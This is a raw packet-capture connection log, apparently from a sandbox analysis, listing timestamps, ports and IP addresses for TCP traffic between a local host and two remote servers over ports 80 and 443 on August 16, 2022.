Aug 16, 2022 11:53:18.943583012 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.074779987 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.074827909 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.074855089 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.074881077 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.074903011 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.074919939 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.074939013 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.074964046 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.074975967 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.074986935 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.075009108 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.075026035 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.075043917 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.075047016 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.075063944 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.075081110 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.075098038 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.075114012 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.075115919 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.075133085 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.075149059 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.075165987 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.075184107 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.075186968 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.075251102 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.080034018 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.080110073 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.080216885 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.080274105 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.080295086 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.080312967 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.080332041 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.080348969 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.080349922 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.080394983 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.080425978 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.080554008 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.080574036 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.080590963 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.080610037 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.080631971 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.080673933 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.095688105 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.097516060 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.289952040 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.289994001 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290015936 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290039062 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290055990 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290056944 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290074110 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290087938 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290096045 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290118933 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290141106 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290150881 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290178061 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290200949 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290210962 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290220022 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290225983 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290252924 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290254116 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290277958 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290294886 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290301085 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290324926 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290342093 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290347099 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290373087 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290407896 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290436029 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290463924 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290488005 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290505886 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290512085 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290537119 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290544987 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290570021 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290596962 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290796995 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290821075 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290843964 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290863037 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290867090 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290895939 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290909052 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290926933 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290934086 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290954113 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.290958881 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290983915 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.290991068 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.291007996 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.291019917 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.291030884 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.291040897 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.291073084 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.291074991 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.291105986 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.291115999 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.291131973 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.291141987 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.291157007 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.291166067 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.291202068 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.291229963 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.291764021 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.303778887 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.303818941 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.303845882 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.303867102 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.303869009 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.303895950 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.303922892 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.303951979 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.303953886 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.303968906 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.303976059 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.303982019 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.303982973 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.303999901 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.304012060 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.304038048 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.304044008 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.304080963 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.304100037 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.306943893 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.310141087 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.313772917 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.313858986 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.313869953 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.313910961 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.313925982 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.313975096 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.313993931 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.314043045 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.505779982 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.505817890 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.505845070 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.505852938 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.505872011 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.505877972 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.505882978 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.505899906 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.505913973 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.505927086 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.505934000 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.505953074 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.505959988 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.505978107 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.505983114 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.506006002 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.506006956 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.506032944 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.506038904 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.506057024 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.506064892 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.506091118 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.506191015 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.515993118 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.516288996 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.543901920 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.544012070 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.547301054 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.552149057 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.552248001 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.552258015 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.552278996 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.552333117 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.552345991 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.552386045 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.553158998 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.553209066 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.553225040 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.553276062 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.555223942 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.555294037 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.555311918 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.555363894 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.555371046 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.555413961 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.555418968 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.555458069 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.556350946 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.556402922 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.556416988 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.556458950 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.557724953 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.557781935 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.557797909 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.557838917 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.559561014 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.559614897 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.559627056 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.559664965 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.570919991 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.571047068 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.571070910 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.571120024 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.571333885 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.571386099 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.571413994 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.571456909 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.572288036 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.572357893 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.572374105 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.572412014 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.573407888 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.573482990 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.573494911 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.573529005 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.574301004 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.574357033 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.574371099 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.574428082 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.575704098 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.575756073 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.575776100 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.575817108 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.576992989 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.577059031 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.577069044 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.577105045 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.577994108 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.578042984 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.578066111 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.578100920 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.579267025 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.579334021 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.579344034 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.579396009 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.580153942 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.580224991 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.580236912 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.580271006 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.581248999 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.581320047 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.581331015 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.581372023 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.582214117 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.582287073 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.582298994 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.582341909 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.583537102 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.583606005 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.583616018 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.583656073 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.584557056 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.584614038 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.584623098 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.584665060 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.586437941 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.586513042 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.586522102 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.586566925 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.586904049 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.586963892 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.586971998 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.587009907 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.589337111 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.589423895 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.589437008 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.589483023 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.589493036 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.589538097 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.589565039 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.589608908 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.590576887 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.590655088 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.590675116 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.590717077 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.730654001 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.730695009 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.730719090 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.730737925 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.730761051 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.730766058 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.730787992 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.730793953 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.730806112 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.730814934 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.730842113 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.730842113 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.730859041 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.730868101 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.730882883 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.730895996 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.730911016 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.730921030 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.730942965 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.730947018 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.730963945 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.730973005 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.730981112 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.731000900 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.731025934 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.731030941 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.731036901 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.731050014 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.731055975 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.731072903 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.731080055 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.731105089 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.739053011 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.743338108 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.768551111 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.768590927 CEST	80	49174	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.768650055 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.771909952 CEST	49174	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.775247097 CEST	49179	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.799382925 CEST	443	49178	142.250.181.238	192.168.2.22
Aug 16, 2022 11:53:19.799472094 CEST	49178	443	192.168.2.22	142.250.181.238
Aug 16, 2022 11:53:19.965408087 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.965442896 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.965460062 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.965493917 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.965512037 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.965554953 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.965584040 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.965593100 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.965599060 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.965616941 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.965631008 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.965643883 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.965661049 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.965673923 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.965696096 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.965708971 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.965740919 CEST	49172	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:19.965821981 CEST	80	49172	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:19.965841055 CEST	80	49172	187.45.240.69	192.168.2.22
